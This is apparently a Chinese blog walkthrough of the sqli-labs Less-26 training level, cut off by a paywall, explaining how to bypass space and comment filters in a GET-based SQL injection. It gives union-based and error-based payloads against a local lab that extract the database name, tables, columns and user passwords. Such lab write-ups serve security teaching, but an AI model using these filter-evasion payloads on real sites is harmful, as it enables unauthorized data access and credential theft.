目录
Less-26

基于错误_GET_过滤空格/注释_单引号_字符型注入
源码:

这关跟是在Less-25关的基础上再加上了/*、--、#和空格,以及正反斜杠/与\进行了过滤,本关在 windows 下无法使用一些特殊的字符代替空格,此处是因为apache 的解析的问题,这里请更换到 linux 平台下。
本关结合 25 关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于 and,or 的处理方
法不再赘述,参考 25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用
构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格。
sql 语句为 SELECT * FROM users WHERE id='$id' LIMIT 0,1,我们首先给出一个最为简单的 payload:http://127.0.0.1/sqli/Less-26/?id=1'%09||'1

同时,我们此处的 sql 语句为 SELECT * FROM users WHERE id='1' || ‘1’ LIMIT 0,1,第一个'首先闭合 id='$id' 中的',除了%a0,基本都是过滤了的字符:如%20(空格)、%23(#)、%2a(*)、%2d(-)、%2f(/)、%5c(\),%09-%0d都是制表符、换行符、换页符。
剩下的就是将各种绕过组合成 payload了:
http://127.0.0.1/sqli/Less-26/id=0'%a0union%a0select%a02,database(),4%a0||%a0'1'='1
http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),4%a0||%a0'1'='1
http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0&&%a0table_name='users'),4%a0||%a0'1'='1
http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(concat_ws('-',id,username,passwoorrd))%a0from%a0users),4%a0||%a0'1'='1
不同环境可能不能成功。
下面演示基于错误的注入:
1. 爆数据库名:
?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

2.爆表名:
?id=0'||up

本文详细介绍了sqli-labs的Less-26至28a关卡,涉及GET方式的SQL注入漏洞,包括字符型注入、过滤空格/注释/单引号的绕过方法,以及联合注入、错误注入和盲注技术。通过示例payload展示了如何利用这些技巧获取数据库信息。
最低0.47元/天 解锁文章
1144

被折叠的 条评论
为什么被折叠?



